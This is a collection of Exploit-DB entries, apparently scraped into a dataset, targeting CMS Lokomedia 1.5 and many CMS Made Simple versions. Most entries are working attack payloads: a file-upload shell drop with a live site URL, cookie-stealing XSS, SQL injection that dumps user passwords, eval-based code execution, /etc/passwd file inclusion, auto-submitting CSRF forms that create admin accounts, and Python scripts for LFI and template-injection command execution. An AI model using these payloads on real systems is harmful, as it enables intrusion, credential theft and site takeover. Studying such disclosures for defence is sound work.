deardaniel/secdata-raw huggingface dataset:
Exploit-DB #17014
Description: CMS Lokomedia 1.5 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2011-03-21
Author: eidelweiss

Exploit:
===================================================================
    CMS Lokomedia 1.5 Arbitary file upload vulnerability
===================================================================
   
Software:   CMS Lokomedia
Vendor:     http://bukulokomedia.com/home
Vuln Type:  Arbitary file upload
Download link:  http://bukulokomedia.com/lokomedia-1.5.rar
Author:     eidelweiss
contact:    eidelweiss[at]windowslive[dot]com
Home:       www.eidelweiss.info
DORK:	use your skill and play your imagination :P

Gratz:
- Kuris : status udah merit aja beib.. kgak undang² iks..
- Richie : RebelgiRL (Limited edition.. lol) live is never flate so enjoy this live mate ^_^


References: http://eidelweiss-advisories.blogspot.com/2011/03/cms-lokomedia-15-arbitary-file-upload.html
   
   
===================================================================
 

----------------------------------
 
    exploit & p0c

[!] http://host/path_to_lokomedia/tinymcpuk/filemanager/browser.html	// upload your file here
		or
[!] http://host/tinymcpuk/filemanager/browser.html
    or
[!] http://host//tinymcpuk/filemanager/frmupload.html
    or
[!] http://host/path_to_lokomedia/tinymcpuk/filemanager/frmupload.html
 
    your shell or file will be placed here
 
/*------------------------------------------------------------------------------*/
/* Path to user files relative to the document root (no trailing slash)		*/
/*------------------------------------------------------------------------------*/
$fckphp_config['UserFilesPath'] = "./lokomedia/tinymcpuk/gambar" ;			// <= here 
/*==============================================================================*/
/* Apabila sudah di-onlinekan, ubah baris 47 dengan settingan seperti berikut:
$fckphp_config['UserFilesPath'] = "./tinymcpuk/gambar" ; */				// <= or here

----------------------------------

	live poc : http://www.ikafela.com./tinymcpuk/filemanager/browser.html
   
   
====================================================================
   
    Nothing Impossible In This World Even Nobody`s Perfect
   
===================================================================
   
==========================| -=[ E0F ]=- |==========================
Exploit-DB #26298
Description: CMS Made Simple 0.10 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-09-26
Author: X1ngBox

Exploit:
source: https://www.securityfocus.com/bid/14937/info

CMS Made Simple is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

This issue is reported to affect CMS Made Simple version 0.10; other versions may also be vulnerable. 

http://www.example.com/index.php?page=<script>alert(document.cookie);</script>
Exploit-DB #26217
Description: CMS Made Simple 0.10 - 'Lang.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2005-08-31
Author: groszynskif

Exploit:
source: https://www.securityfocus.com/bid/14709/info

CMS Made Simple is prone to a remote file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may exploit this issue to execute arbitrary remote PHP code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access.

CMS Made Simple Version .10 and all prior versions are reported vulnerable. 

example.html:
<form action="http://www.example.com/admin/lang.php?CMS_ADMIN_PAGE=1&nls[file][vx][vxsfx]=(__URL__)" method=post>
<input type=hidden name=change_cms_lang value=vx>
<input type=submit name=test VALUE="do it">
</form>
EOF
Exploit-DB #29272
Description: CMS Made Simple 1.0.2 - 'SearchInput' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-12-11
Author: Nicokiller

Exploit:
source: https://www.securityfocus.com/bid/21527/info

CMS Made Simple is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/index.php?mact=Search%2Ccntnt01%2Cdosearch%2C0&cntnt01returnid=51&cntnt01searchinput=Enter+Search..."><script>alert(document.cookie)</script>&cntnt01submit=Submit
Exploit-DB #29941
Description: CMS Made Simple 1.0.5 - 'Stylesheet.php' SQL Injection
Type: webapps
Platform: php
Date: 2007-05-02
Author: Daniel Lucq

Exploit:
source: https://www.securityfocus.com/bid/23753/info


CMS Made Simple is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

CMS Made Simple 1.05 is vulnerable to this issue; other versions may also be affected. 

http://www.example.com/stylesheet.php?templateid=16+AND+1=1
http://www.example.com/stylesheet.php?templateid=16+AND+1=0
Exploit-DB #4442
Description: CMS Made Simple 1.2 - Remote Code Execution
Type: webapps
Platform: php
Date: 2007-09-21
Author: irk4z

Exploit:
#                                      o      [bug]     /"*._         _        #
#                 .                     .    .      .-*'`    `*-.._.-'/        #
#                                   o       o     < * ))     ,       (         #
#                            .           o          `*-._`._(__.--*"`.\        #
#                                                                              #
# vuln.: CMS Made Simple 1.1.2 Remote Code Execution Vulnerability             #
# author: irk4z@yahoo.pl                                                       #
# download:                                                                    #
#  http://dev.cmsmadesimple.org/frs/download.php/1424/cmsmadesimple-1.1.2.zip  #
# dork: "powered by CMS Made Simple version 1.1.2"                             #
# greetz: cOndemned, kacper, str0ke                                            #

# code:

/lib/adodb_lite/adodb-perf-module.inc.php:
...
 eval('class perfmon_parent_EXTENDER extends ' . $last_module . '_ADOConnection { }');
...

# exploit:

 http://[site]/[path]/lib/adodb_lite/adodb-perf-module.inc.php?last_module=zZz_ADOConnection{}eval($_GET[w]);class%20zZz_ADOConnection{}//&w=phpinfo();
 http://[site]/[path]/lib/adodb_lite/adodb-perf-module.inc.php?last_module=zZz_ADOConnection{}eval($_GET[w]);class%20zZz_ADOConnection{}//&w=[ PHPCODE ]

# milw0rm.com [2007-09-21]
Exploit-DB #4810
Description: CMS Made Simple 1.2.2 Module TinyMCE - SQL Injection
Type: webapps
Platform: php
Date: 2007-12-30
Author: EgiX

Exploit:
-------------------------------------------------------------------------
CMS Made Simple <= 1.2.2 (TinyMCE module) - Remote SQL Injection Advisory
-------------------------------------------------------------------------

author...: EgiX
mail.....: n0b0d13s[at]gmail[dot]com

link.....: http://www.cmsmadesimple.org/
dork.....: "This site is powered by CMS Made Simple version 1.2.2"

[-] Vulnerable code in /modules/TinyMCE/content_css.php :

 26.	$templateid = '';
 27.	if (isset($_GET["templateid"])) $templateid = $_GET["templateid"]; <==
 28.
 29.	$mediatype = '';
 30.	if (isset($_GET["mediatype"])) $mediatype = $_GET["mediatype"];
 31.
 32.	$name = '';
 33.	if (isset($_GET['name'])) $name = $_GET['name'];

 64.		if ($name != '')
 65.			$sql="SELECT css_text, css_name FROM ".$config['db_prefix']."css WHERE css_name = '" . mysql_real_escape_string($name, $db) . "'";
 66.		else
 67.			$sql="SELECT c.css_text, c.css_id, c.css_name FROM ".$config['db_prefix']."css c,".$config['db_prefix']."css_assoc ac WHERE ac.assoc_type='template' AND ac.assoc_to_id = $templateid  (...) <==
 68.		$result=mysql_query($sql);
 69.	//		echo $sql;
 70.		while ($result && $row = mysql_fetch_assoc($result))
 71.		{
 72.			$css .= "/* Start of CMSMS style sheet '{$row['css_name']}' */\n{$row['css_text']}\n/* End of '{$row['css_name']}' */\n";
 73.		}
 
 $_GET["templateid"] isn't properly checked at line 27, this results in a sql injection at line 67
 
[*] An attacker can break database through browser! P.o.C. :

http://[host]/[path]/modules/TinyMCE/content_css.php?templateid=-1/**/UNION/**/SELECT/**/username,1,password/**/FROM/**/{prefix}_users/*

# milw0rm.com [2007-12-30]
Exploit-DB #7285
Description: CMS Made Simple 1.4.1 - Local File Inclusion
Type: webapps
Platform: php
Date: 2008-11-29
Author: M4ck-h@cK

Exploit:
Type: Directory Traversal vulnerability (Unix tested) / Root privileges escalation
Vendor: CMS Made Simple
Software: CMS Made Simple 1.4.1 "Spring Garden" (and probably others ...)
Author: M4ck-h@cK
Date 29.11.2008
Home: sweet home
contact: no, thx :)

Exploit:


Demo: on h[ttp://demo.cmsmadesimple.fr/admin/]

GET http://demo.cmsmadesimple.fr/admin/login.php HTTP/1.0
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
Host: demo.cmsmadesimple.fr
Cookie: cms_language=../../../../../../../../etc/passwd%00.html;cms_admin_user_id=1
Connection: Close
Pragma: no-cache

It's possible to set "cms_language" value in order to view /etc/passwd file.

# milw0rm.com [2008-11-29]
Exploit-DB #9407
Description: CMS Made Simple 1.6.2 - Local File Disclosure
Type: webapps
Platform: php
Date: 2009-08-10
Author: IHTeam

Exploit:
#########################################################################################
#
#         [CMS Made Simple <= 1.6.2]
#
# Class:     LFI
# Reported:     29/07/2009
# Public release: 10/08/2009
# Remote:    Yes
# DORK:      "This site is powered by CMS Made Simple version 1."
# Site:      http://www.cmsmadesimple.org/
# Download:  http://s3.amazonaws.com/cmsms/downloads/4033/cmsmadesimple-1.6.2-full.tar.gz
##########################################################################################

Vulnerability:
============================================
function GetURLContent($url) {
    $content=file_get_contents($url);
    return $content;
  }
=============================================

Exploit :
================================================================================
http://[site]/[cms_path]/modules/Printing/output.php?url=L2V0Yy9wYXNzd2Q=
================================================================================
L2V0Yy9wYXNzd2Q= <--- /etc/passwd in base64


#ihteam.net - Inclusion Hunter Team 

# milw0rm.com [2009-08-10]
Exploit-DB #33643
Description: CMS Made Simple 1.6.6 - Local File Inclusion / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-02-12
Author: Beenu Arora

Exploit:
source: https://www.securityfocus.com/bid/38234/info

CMS Made Simple is prone to a local file-include vulnerability and a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit the local file-include vulnerability using directory-traversal strings to view and execute local files within the context of the webserver process. Information harvested may aid in further attacks.

The attacker may leverage the cross-site scripting issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

CMS Made Simple 1.6.6 is affected; other versions may also be vulnerable. 

http://www.example.com/cmsmadesimple/index.php?page=tags-in-the-core&showtemplate=false"><script>alert('XSS')</script>
http://www.example.com/cmsmadesimple/index.php?mact=News%2ccntnt01%2c%5c..%5c..%5c%5c..%5c..%5c%5c..%5c..%5c%5c..%5c..%5c%5c..%5c..%5c%5cboot.ini%00%2c0&cntnt01articleid=1&cntnt01showtemplate=false&cntnt01returnid=39
Exploit-DB #11424
Description: CMS Made Simple 1.6.6 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-02-12
Author: Beenu Arora

Exploit:
################################################################ 
#       .___             __          _______       .___        # 
#     __| _/____ _______|  | __ ____ \   _  \    __| _/____    # 
#    / __ |\__  \\_  __ \  |/ // ___\/  /_\  \  / __ |/ __ \   # 
#   / /_/ | / __ \|  | \/    <\  \___\  \_/   \/ /_/ \  ___/   # 
#   \____ |(______/__|  |__|_ \\_____>\_____  /\_____|\____\   # 
#        \/                  \/             \/                 # 
#                   ___________   ______  _  __                # 
#                 _/ ___\_  __ \_/ __ \ \/ \/ /                # 
#                 \  \___|  | \/\  ___/\     /                 # 
#                  \___  >__|    \___  >\/\_/                  # 
#      est.2007        \/            \/   forum.darkc0de.com   # 
################################################################ 
# Greetz to all Darkc0de ,AI,ICW, AH Memebers
# Shoutz to r45c4l,j4ckh4x0r,silic0n,smith,baltazar,d3hydr8,FB1H2S, lowlz,Eberly,Sumit,
#
# Author: Beenu Arora
# 
# Home  : www.BeenuArora.com
# 
# Email : beenudel1986@gmail.com 
# 
# Share the c0de! 
# 
################################################################ 
# 
# Exploit: Multiple Vulnerablities in cmsmadesimple
# 
# AppSite: http://www.cmsmadesimple.com/
# 
# Tested Version : 1.6.6
# XSS
# 
# POC:-http://localhost/cmsmadesimple/index.php?page=tags-in-the-core&showtemplate=false"><script>alert('XSS')</script>
# 
#
# 
# Multiple Local File Inclusion
#
# Sample URL: 
# POC:-http://server/cmsmadesimple/index.php?mact=News%2ccntnt01%2c%5c..%5c..%5c%5c..%5c..%5c%5c..%5c..%5c%5c..%5c..%5c%5c..%5c..%5c%5cboot.ini%00%2c0&cntnt01articleid=1&cntnt01showtemplate=false&cntnt01returnid=39
#
#
################################################################
Exploit-DB #12009
Description: CMS Made Simple 1.7 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2010-04-02
Author: pratul agrawal

Exploit:
                                =======================================================================
   
                                                CMS Made Simple 1.7 CSRF Vulnerability
 
                                =======================================================================
   
                                                              
 
   
   
  # Vulnerability found in- Admin module
   
  # email         Pratulag@yahoo.com
   
  # company       aksitservices
   
  # Credit by     Pratul Agrawal
 
  # Software      CMS Made Simple 1.7

  # Category  	  CMS / Portals
  
  # Site p4ge     http://server/demo/2/10/CMS_Made_Simple
  
  # Plateform     php

  # Greetz to     Gaurav, Prateek, Vivek, Sanjay, Sourabh, Varun, sameer (My Web Team)
  
   
   
  #  Proof of concept   #
 
  Targeted URL:  http://sever/demo/2/10/CMS_Made_Simple
  
 
   Script to Add admin user through Cross Site request forgery
   
             .  ................................................................................................................
   
                         <html>

                          <body>

                             <form name="csrf" action="http://server/cmsmadesimple/admin/adduser.php" method="post">

                                    <input type=hidden name="sp_" value="64becc90">

                                    <input type=hidden name="user" value="master">

                                    <input type=hidden name="password" value="master">

                                    <input type=hidden name="passwordagain" value="master">

                                    <input type=hidden name="firstname" value="12345">

                                    <input type=hidden name="lastname" value="12345">

                                    <input type=hidden name="email" value="aa@aa.com">

                                    <input type=hidden name="active" value="on">

                                    <input type=hidden name="groups" value="1">

                                    <input type=hidden name="g1" value="1">

                                    <input type=hidden name="adduser" value="true">

              
                             </form>

                               <script>

                                 document.csrf.submit();

                               </script>

                          </body>

                        </html>
   
             .  ..................................................................................................................
   
   
   
  After execution just refresh the page and we can see that the admin user added automatically.
  
  
  #If you have any questions, comments, or concerns, feel free to contact me.
Exploit-DB #34299
Description: CMS Made Simple 1.8 - 'default_cms_lang' Local File Inclusion
Type: webapps
Platform: php
Date: 2010-07-11
Author: John Leitch

Exploit:
source: https://www.securityfocus.com/bid/41565/info

CMS Made Simple is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to obtain potentially sensitive information and execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the underlying computer; other attacks are also possible.

# ------------------------------------------------------------------------ 
# Software................CMS Made Simple 1.8 
# Vulnerability...........Local File Inclusion 
# Download................http://www.cmsmadesimple.org/ 
# Release Date............7/11/2010 
# Tested On...............Windows Vista + XAMPP 
# ------------------------------------------------------------------------ 
# Author..................John Leitch 
# Site....................http://cross-site-scripting.blogspot.com/ 
# Email...................john.leitch5@gmail.com 
# ------------------------------------------------------------------------ 
#  
# --Description--
# 
# A local file inclusion vulnerability in CMS Made Simple 1.8 can be
# exploited to include arbitrary files.
# 
# 
# --PoC--
import httplib, urllib

host = 'localhost'
path = '/cmsms'

lfi = '../' * 32 + 'windows/win.ini\x00'

c = httplib.HTTPConnection(host)
c.request('POST', path + '/admin/addbookmark.php',
          urllib.urlencode({ 'default_cms_lang': lfi }),
          { 'Content-type': 'application/x-www-form-urlencoded' })
r = c.getresponse()

print r.status, r.reason
print r.read()
Exploit-DB #34068
Description: CMS Made Simple 1.x - Cross-Site Scripting / Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2010-01-01
Author: Truong Thao Nguyen

Exploit:
source: https://www.securityfocus.com/bid/40483/info

CMS Made Simple is prone to multiple cross-site scripting vulnerabilities because the software fails to sufficiently sanitize user-supplied inputs. The application is also prone to a cross-site request-forgery vulnerability.

An attacker may leverage the cross-site scripting issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

The attacker can exploit the cross-site request-forgery issue by tricking a victim into following a specially crafted HTTP request designed to perform some action on the attacker's behalf using a victim's currently active session.

CMS Made Simple 1.7.1 and prior are vulnerable. 

<form name="csrf" 
action="http://www.example.com:7080/config/confMgr.php"
method="post" target="hidden">
<input type="hidden" name="a" value="s" />
<input type="hidden" name="m" value="admin" />
<input type="hidden" name="p" value="security" />
<input type="hidden" name="t" value="`ADMIN_USR_NEW" />
<input type="hidden" name="r" value="" />
<input type="hidden" name="file_create" value="" />
<input type="hidden" name="name" value="owned" />
<input type="hidden" name="pass" value="password" />
<input type="hidden" name="pass1" value="password" />
</form>
Exploit-DB #48944
Description: CMS Made Simple 2.1.6 - 'cntnt01detailtemplate' Server-Side Template Injection
Type: webapps
Platform: php
Date: 2020-10-26
Author: Gurkirat Singh

Exploit:
# Exploit Title: CMS Made Simple 2.1.6 - 'cntnt01detailtemplate' Server-Side Template Injection
# Google Dork: N/A
# Date: 11/10/2017
# Exploit Author: Gurkirat Singh <tbhaxor@gmail.com>
# Vendor Homepage: http://www.cmsmadesimple.org/
# Software Link: N/A
# Version: 2.1.6
# Tested on: Linux
# CVE : CVE-2017-16783
# POC : https://www.netsparker.com/blog/web-security/exploiting-ssti-and-xss-in-cms-made-simple/

PFA
-------
Gurkirat Singh
(tbhaxor <https://google.com/search?q=tbhaxor>)

from argparse import ArgumentParser, RawTextHelpFormatter
from urllib.parse import urlparse, parse_qs, urlencode, quote, unquote_plus
import requests as http
import re
from bs4 import BeautifulSoup, Tag
from huepy import *
parser = ArgumentParser(description="Exploit for CVE-2017-16783",
                        formatter_class=RawTextHelpFormatter)
parser.add_argument(
    "--target",
    "-t",
    help="complete remote target with protocol, host, path and query",
    required=True,
    dest="t")
parser.add_argument("--command",
                    "-c",
                    help="command to execute (default: whoami)",
                    default="whoami",
                    dest="c")
args = parser.parse_args()

print(info("Building malicious url"))
url = urlparse(args.t)
query = parse_qs(url.query)
query["cntnt01detailtemplate"] = [
    "string:{php}echo `echo tbhaxor;%s;echo tbhaxor`;{/php}" % args.c
]
query = {k: ",".join(v) for k, v in query.items()}
query = unquote_plus(urlencode(query, doseq=False))
_url = url.scheme + "://" + url.netloc + url.path + "?" + query
print(good("Done"))
print(info("Executing payload"))
r = http.get(_url)
html = BeautifulSoup(r.content.decode(), "html5lib")
main: Tag = html.find("article", {"id": "main"})
main = re.sub(r"^Home", "", main.text.strip()).replace("tbhaxor", "").strip()
print(good("Done"))
print(info("Result"))
print(main)
Exploit-DB #41997
Description: CMS Made Simple 2.1.6 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2017-05-10
Author: Osanda Malith Jayathissa

Exploit:
# Title:             CMSMS 2.1.6 Multiple Vulnerabilities
# Date:              10-05-2017
# Tested on:         Windows 8 64-bit
# Exploit Author:    Osanda Malith Jayathissa (@OsandaMalith)
# Original write-up: https://osandamalith.com/2017/05/11/cmsms-2-1-6-multiple-vulnerabilities/
# CVE: CVE-2017-8912

Remote Code Execution
======================

POST /cmsms/admin/editusertag.php?_sk_=2a7da2216d41e0ac&userplugin_id=4 HTTP/1.1

_sk_=2a7da2216d41e0ac&userplugin_id=4&userplugin_name=aaa&code=passthru('dir')%3B&description=&run=1&apply=1&ajax=1 


Stored XSS 
==========

POST /cmsms/admin/addgroup.php HTTP/1.1

_sk_=92a32a8aaa87e958&group=%3Csvg%2Fonload%3Dalert%282%29%3E&description=%22%3E%3Csvg%2Fonload%3Dalert%283%29%3E&active=on&addgroup=true


Disclosure Timeline
====================

09-05-2017: Reported to the vendor
09-05-2017: Vendor doesn't accept XSS issues inside admin panel and claimed the RCE as a feature, not a bug :)
10-05-2017: Public disclosure
11-05-2017: Assigned CVE-2017-8912